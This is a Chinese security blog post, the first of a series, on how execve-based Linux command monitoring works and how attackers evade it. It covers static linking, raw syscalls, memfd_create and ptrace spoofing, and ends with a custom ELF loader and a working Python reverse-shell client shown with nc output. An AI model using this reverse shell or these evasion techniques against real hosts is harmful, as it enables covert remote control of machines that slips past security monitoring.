前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >无"命令"反弹shell-逃逸基于execve的命令监控(上)

无"命令"反弹shell-逃逸基于execve的命令监控(上)

作者头像
七夜安全博客
发布2020-02-18 17:24:07
1.5K0
发布2020-02-18 17:24:07
举报
文章被收录于专栏:七夜安全博客七夜安全博客

微信公众号:七夜安全博客 关注信息安全技术、关注 系统底层原理。问题或建议,请公众号留言。

一.前言

本篇聊一聊 新的主题:《反弹shell-逃逸基于execve的命令监控》,打算写一个专题,预估可以写三篇,内容确实有点多,也是最近研究了一些有意思的东西,想给大家分享一下。喜欢的话,请大家一定点在看,并分享出去,算是对我原创最大的支持了。如何想看新方法,直接到最后。

二.Shell命令监控

在linux中,大家用的比较多的是shell命令,同样在渗透到linux服务器,植入木马后,探测信息,执行恶意操作,维持权限,横向移动,shell命令也是必不可少的。既然在攻击侧,shell命令如此重要,那在安全防御方面,shell命令的监控也是非常关键的检测维度。各大厂商,一般怎么监控shell命令的调用呢?

2.1 基于execve的shell命令监控

系统命令,其实就是一个个程序,执行起来也就是一个个进程。命令执行的监控,也就是对外部进程创建的监控。在linux中,启动外部进程,是通过execve系统调用进行创建的,我们使用strace 打印一下在bash中启动ls的系统调用,第一句就是通过execve启动ls。

但是我们在开发linux程序的时候,执行系统命令,并没有直接使用execve系统调用,这是因为libc/glibc库对execve系统调用封装成了函数,方便我们调用。

因此基于execve的系统命令监控方式,分成了用户态和内核态。用户态通过劫持libc/glibc的exec相关函数来实现,内核态则通过系统自身组件或者劫持execve syscall 来实现。

1.用户态

在libc/glibc中,对execve syscall 进行了一系列的封装,简称exec族函数。exec系列函数调用时,启动新进程,替换掉当前进程。即程序不会再返回到原进程,具体内容如下:

代码语言:javascript
复制
int execl(constchar*path,constchar*arg0,...,(char*)0);
int execlp(constchar*file,constchar*arg0,...,(char*)0);
int execle(constchar*path,constchar*arg0,...,(char*)0,char*const envp[]);

int execv(cosnt char*path,char*const argv[]);
int execvp(cosnt char*file,char*const argv[]);
int execve(cosnt char*path,char*const argv[],char*const envp[]);

怎么劫持libc/glibc中的函数,我就不扩展了,大家google一下 so preload 劫持

2.内核态

在内核态监控其实是最准确,而且是最难绕过的。在内核态,一般是通过三种办法来监控:

  1. Netlink Connector
  2. Audit
  3. Hook execve syscall

(1) Netlink Connector

在介绍 Netlink Connector 之前,首先了解一下 Netlink 是什么,Netlink 是一个套接字家族(socket family),它被用于内核与用户态进程以及用户态进程之间的 IPC 通信,ss命令就是通过 Netlink 与内核通信获取的信息。

Netlink Connector 是一种 Netlink ,它的 Netlink 协议号是NETLINK_CONNECTOR,其代码位于:

代码语言:javascript
复制
https://github.com/torvalds/linux/tree/master/drivers/connector

其中 connectors.c 和 cnqueue.c 是 Netlink Connector 的实现代码,而 cnproc.c 是一个应用实例名为进程事件连接器,我们可以通过该连接器来实现对进程创建的监控。

实现方案:

(引用来源:https://4hou.win/wordpress/?p=29586)

说明

  • linux内核提供连接器模块与进程事件收集机制,无需任何改动,只需要在linux>2.6.14开启即可。通过 cat/boot/config-$(uname-r)|egrep'CONFIGCONNECTOR|CONFIGPROC_EVENTS'就可以查看。
  • 在用户态实现轻量级ncp(netlink connector process)应用程序接收netlink进程事件消息

优点

轻量级,在用户态即可获得内核提供的信息。

缺点

仅能获取到 pid,详细信息需要查/proc/pid/,这就存在时间差,可能有数据丢失。

(2) Audit

Audit 是 Linux 内核中用来进行审计的组件,可监控系统调用和文件访问,具体架构如下:

架构说明

  1. 用户通过用户态的管理进程配置规则(例如图中的 go-audit ,也可替换为常用的 auditd ),并通过 Netlink 套接字通知给内核。
  2. 内核中的 kauditd 通过 Netlink 获取到规则并加载。
  3. 应用程序在调用系统调用和系统调用返回时都会经过 kauditd ,kauditd 会将这些事件记录下来并通过 Netlink 回传给用户态进程。
  4. 用户态进程解析事件日志并输出。

优点

  • 组件完善,使用 auditd 软件包中的工具即可满足大部分需求,无需额外开发代码。
  • 相比于 Netlink Connector ,获取的信息更为全面,不仅仅是 pid 。

缺点

性能消耗随着进程数量提升有所上升。

(3) Hook execve syscall

除了Netlink Connector 和 Audit 这两种Linux 本身提供的监控系统调用方式,如果想拥有更大程度的可定制化,就需要通过安装内核模块来对系统调用进行 hook。

目前常用的 hook 方法是通过修改syscall table(Linux 系统调用表)来实现,原理是系统在执行系统调用时是通过系统调用号在syscalltable中找到相应的函数进行调用,所以只要将syscalltable中execve对应的地址改为我们安装的内核模块中的函数地址即可.

具体细节请参考:驭龙 HIDS实现进程监控,里面已经介绍的非常详细了,不再赘述。

优点

高定制化,从系统调用层面获取完整信息。

缺点

  • 开发难度大,非常考验开发人员的技术功底。
  • 兼容性差,需针对不同发行版和内核版本进行定制和测试。

2.2 基于 Patch Shell解释器的命令监控

基于 Patch Shell解释器的命令监控是基于execve的系统命令监控的补充方案,因为通过监控execve系统调用的方式,理论上可以完全覆盖系统命令的调用,那为什么还要 Patch Shell解释器呢?大家别忘了,shell不仅可以调用外部系统命令,自身还有很多内置命令。内置命令是shell解释器中的一部分,可以理解为是shell解释器中的一个函数,并不会额外创建进程。因此监控execve系统调用是无法监控这部分的,当然能用作恶意行为的内置命令并不多,算是一个补充。如何判断是否是内置命令呢?通过type指令,示例如下:

代码语言:javascript
复制
[root@localhost ~]# type cd
cd is a Shell builtin
[root@localhost ~]# type ifconfig
ifconfig is/sbin/ifconfig

完整的内置命令列表,请参考 shell内置命令[http://c.biancheng.net/view/1136.html]。

如何Patch Shell解释器 ? 原理很简单,对shell解释器的输入进行修改,将输入写入到文件中,进行分析即可。shell解释器很多,以bash举例:

  1. 通过 -c 参数输入命令
  2. 通过stdin输入命令。

在这两个地方将写文件的代码嵌入进去即可。

三.已知对抗Shell命令监控方法

以上讲解了现有Shell命令监控方法,下面一一进行击破。对抗命令监控一般是在三个方面动手脚:

  1. 绕过Shell命令监控方法,使之收集不到命令执行的日志。
  2. 无法绕过命令监控,但是能篡改命令执行的进程和参数,使之收集到假的日志
  3. 无法绕过监控,也无法篡改内容, 猜测命令告警的策略并绕过(例如通过混淆绕过命令静态检测)

在上述的三个方法中,第一种和第二种方法算是比较根本的方法,没有真实的数据,策略模型就无法命中目标并告警,第三种方法需要较多的经验,但是通过混淆命令绕过静态检测策略,也是比较常见的。

3.1 无日志-绕过Shell命令监控

已知的绕过命令监控的方案:用户态glibc/libc exec劫持,Patch Shell解释器,内核态的execve监控,均可被绕过。

1. 绕过glibc/libc exec劫持

方法1:glibc/libc是linux中常用的动态链接库,也就是说在动态链接程序的时候才会用到它,那么我们只需要将木马后门进行静态编译即可,不依赖系统中的glibc/libc执行,就不会被劫持。

方法2: glibc/libc是对linux系统调用(syscall)的封装,我们使用它是为了简化对系统调用的使用,其实我们可以不用它,直接使用汇编 sysenter/int 0x80指令调用execve系统调用,下面是使用int 0x80调用execve syscall的简写代码:

代码语言:javascript
复制
mov     byte       al, 0x0b # 好了,现在把execve()的系统调用号11号放入eax的最下位的al中
mov                ebx, esi # 现在是第一个参数,字符串的位置放入ebx
lea                ecx, [esi+8] # 第二个参数,要点是这个参数类型是char **, 如果/bin/sh有其它参数的话,整个程序写法就又不一样了
lea                edx, [esi+12] #  最后是null的地址,注意,是null的地址,不是null,因为写这是为了shellcode做准备,shellcode中不可以有null
int0x80

当然还有其他方法,比如重写LD_PRELOAD环境变量,这样的动作太大,就不讲了。

2. 绕过Patch Shell解释器

方法1:不使用shell解释器执行命令,直接使用execve 方法2:不使用被Patch的shell解释器,例如大家常用的bash被patch,那你可以使用linux另一个 tcsh解释器来执行命令。

代码语言:javascript
复制
[root@VM_0_13_centos ~]# tcsh -c "echo hello"
hello

3.绕过内核态execve syscall

只要你使用了execve执行了命令,就绝对逃不过内核态execve syscall的监控,太底层了,除非你把防御方的内核驱动给卸载了。既然如此,那怎么绕过呢?

方法很简单,就是不使用execve系统调用。(不是废话)

大家想想为什么会有反弹shell? 为什么要弹shell?

其实是我们想借用linux中自带的系统命令来达到我们的目的,尤其是在linux中以系统命令操作为主。

ls 命令为例子,功能是查看目录中有哪些文件,假如我们不想使用ls命令,那我们有什么办法呢?

那就自己写一个类似功能程序的代码,然后执行就可以了。既然不想使用execve启动进程来执行,那直接在木马中执行shellcode就ok了。

我以python shellcode为例子(你也可以写 汇编 shellcode):

代码语言:javascript
复制
ls_shellcode = '''
import os

dst_path = '{dst_path}'

dirs = os.listdir(dst_path)

for file in dirs:
    print(file)

'''
exec(ls_shellcode.format(dst_path = "C:/"))

输出:

代码语言:javascript
复制
$Recycle.Bin
DocumentsandSettings
Intel
pagefile.sys
PerfLogs
ProgramFiles
ProgramFiles(x86)
......

这样根本不会出现execve系统调用,你要把shellcode通过网络传输过来即可。

隐秘还是挺隐秘的,缺点就是费事,尤其是写汇编shellcode的时候,linux中使用的命令还是挺多的,而且自己写的shellcode,也没有原始linux命令使用的亲切感。

3.2 假日志 - 混淆进程名与进程参数

1.混淆进程名

在linux中有个syscall,名字叫做memfd_create (http://man7.org/linux/man-pages/man2/memfd_create.2.html)。

memfd_create()会创建一个匿名文件并返回一个指向这个文件的文件描述符.这个文件就像是一个普通文件一样,所以能够被修改,截断,内存映射等等.不同于一般文件,此文件是保存在RAM中.一旦所有指向这个文件的连接丢失,那么这个文件就会自动被释放

这就是说memfd_create创建的文件是存在与RAM中,那这个的文件名类似 /proc/self/fd/%d,也就是说假如我们把 ls命令bin文件使用memfd_create写到内存中,然后在内存中使用execve执行,那看到的不是 ls,而是执行的 /proc/self/fd/%d ,从而实现了进程名称混淆 和无文件。

具体看这篇文章(http://www.polaris-lab.com/index.php/archives/666/),非常详细,还有例子说明。

2.混淆进程参数

使用的是linux中另一个syscall: ptrace。ptrace是用来调试程序用的,使用execve启动进程,相对于自身来说是启动子进程,ptrace 的使用流程一般是这样的:

父进程 fork() 出子进程,子进程中执行我们所想要 trace 的程序,在子进程调用 exec() 之前,子进程需要先调用一次 ptrace,以 PTRACETRACEME 为参数。这个调用是为了告诉内核,当前进程已经正在被 traced,当子进程执行 execve() 之后,子进程会进入暂停状态,把控制权转给它的父进程(SIGCHLD信号), 而父进程在fork()之后,就调用 wait() 等子进程停下来,当 wait() 返回后,父进程就可以去查看子进程的寄存器或者对子进程做其它的事情了

假如我们想执行 ls-alh,在上文中 ls 已经可以被混淆了。接下来使用ptrace 对 -alh进行混淆。大体的操作流程如下:

  • 第一步:首先我们fork出来一个子进程,然后在子进程中先调用ptrace,接着执行execve("ls xxxxxx"),这个时候基于execve监控到的就是一个假参数
  • 第二步:既然传入的是假参数,那肯定是是无法执行到想要的结果,这个时候父进程等待子进程execve后停下来,然后修改传入参数的寄存器,将其修改为 -alh,最后接着让子进程继续运行即可。

具体请看这篇文章:http://www.polaris-lab.com/index.php/archives/667/,不再赘述。

四.新方法-无"命令"反弹shell

在已知的绕过方法中,通过shellcode方式绕过内核态的execve监控,算是相对优雅的方式了,我比较喜欢这种,但是这种方式又太麻烦,linux的命令我都要重写成shellcode, 而且显示方式肯定没有原来这么可爱

主要是懒。。。。

其实我的需求很简单:

我既想要linux命令原有的功能,又不想用execve syscall的方式启动

想了想,为什么不能将linux 命令直接当成shellcode来执行呢?

本质上就是重写execve,实现用户态加载elf文件,即 elf loader。

4.1 elf loader

elf loader的作用,简单来讲是将elf文件读到内存中,然后将eip指针指向elf的入口即可,这样就和shellcode一样直接运行了。下面展示一下我写的elf loader的效果:

代码语言:javascript
复制
[root@VM_0_13_centos ~]# ./loader /bin/ls /etc/ -alh
total 1.6M
drwxr-xr-x. 98 root root    12KNov2519:14.
dr-xr-xr-x. 19 root root   4.0KDec821:36..
drwxr-xr-x.  4 root root   4.0KApr212016 acpi
-rw-r--r--.  1 root root     16Apr212016 adjtime
-rw-r--r--.  1 root root   1.5KJun72013 aliases
drwxr-xr-x.  2 root root   4.0KOct1320:47 alternatives

......

咱们看看有没有用到execve,使用strace打印一下系统调用,没有出现对 ls的调用过程。

为了防止被用户态劫持,里面的所有和系统有关的函数,都是通过系统调用的方式。

4.2 反弹shell

根据这个loader, 我简单写了个反弹shell,比较简陋。客户端代码如下:

代码语言:javascript
复制
import socket  # 导入 socket 模块

bin_paths=["/usr/bin/","/bin/","/sbin/","/usr/local/sbin/","/usr/sbin/"]

s = socket.socket()  # 创建 socket 对象
host = "127.0.0.1"#
port = 8877# 设置端口号

s.connect((host, port))
content = s.recv(1024)
while content:
    cmd_str = content.decode('utf8').strip()
    cmds = cmd_str.split()
    cmd_bin_path = None
    cmd_args = ""
if len(cmds)<1:
        content = s.recv(1024)
else:
for bin_path in bin_paths:
if os.path.exists(os.path.join(bin_path,cmds[0])):
                cmd_bin_path = os.path.join(bin_path,cmds[0])
break
if len(cmds)>1:
            cmd_args = " ".join(cmds[1:])
if cmd_bin_path:
            p = subprocess.Popen(" ".join(["./loader",cmd_bin_path,cmd_args]), stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True)

            s.send(p.stdout.read())
            content = s.recv(1024)
else:
            s.send(" ".join([cmd_str,"not found\n"]))
            content = s.recv(1024)

接着在本机使用 nc启动一个服务端: nc-vv-l-p8877,反弹shell跑起来,执行个ls命令:

代码语言:javascript
复制
[root@VM_0_13_centos ~]# nc -vv -l -p 8877
Ncat: Version7.50( https://nmap.org/ncat )
Ncat: Listening on :::8877
Ncat: Listening on 0.0.0.0:8877
Ncat: Connectionfrom127.0.0.1.
Ncat: Connectionfrom127.0.0.1:57430.
ls
1
1.c
1.html
1.txt
25E77E5009315BF1591DF8ED0CCDBB34
2b07db3c02e8d33f44c6ae25c5461dd9
2b07db3c02e8d33f44c6ae25c5461dd9.dump
8dfca97bd479e458c780af4f051850ce
......

这样的情况下,主机上只能监控到一个网络连接,命令不能作为一个检测维度了,这样难度就大很多。

4.3 不足

这个方案暂时还不够完美,主要是以下几点:

  • 首先loader落地了,容易被杀软检测到。
  • 执行loader依然用的是execve
  • 对输入参数没有隐藏

最优的效果是 无文件,无命令,无进程,无参数

接下来的文章,我们会继续优化这个方案,达到理想的效果。

最后

这篇文章写了三个星期,主要是工作挺忙了,每天写一点,后台也有朋友经常催更的,很抱歉了。

最近工作方面也取得一些短暂的进展,运气还是会倾向于努力的人

继续战斗,敬请期待。

参考文献:

http://www.polaris-lab.com/index.php/archives/667/;

https://segmentfault.com/a/1190000019828080

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-01-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七夜安全博客 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一.前言
  • 二.Shell命令监控
    • 2.1 基于execve的shell命令监控
      • 1.用户态
        • 2.内核态
          • 2.2 基于 Patch Shell解释器的命令监控
          • 三.已知对抗Shell命令监控方法
            • 3.1 无日志-绕过Shell命令监控
              • 1. 绕过glibc/libc exec劫持
              • 2. 绕过Patch Shell解释器
            • 3.绕过内核态execve syscall
            • 3.2 假日志 - 混淆进程名与进程参数
              • 1.混淆进程名
                • 2.混淆进程参数
                • 四.新方法-无"命令"反弹shell
                  • 4.1 elf loader
                    • 4.2 反弹shell
                      • 4.3 不足
                      • 最后
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档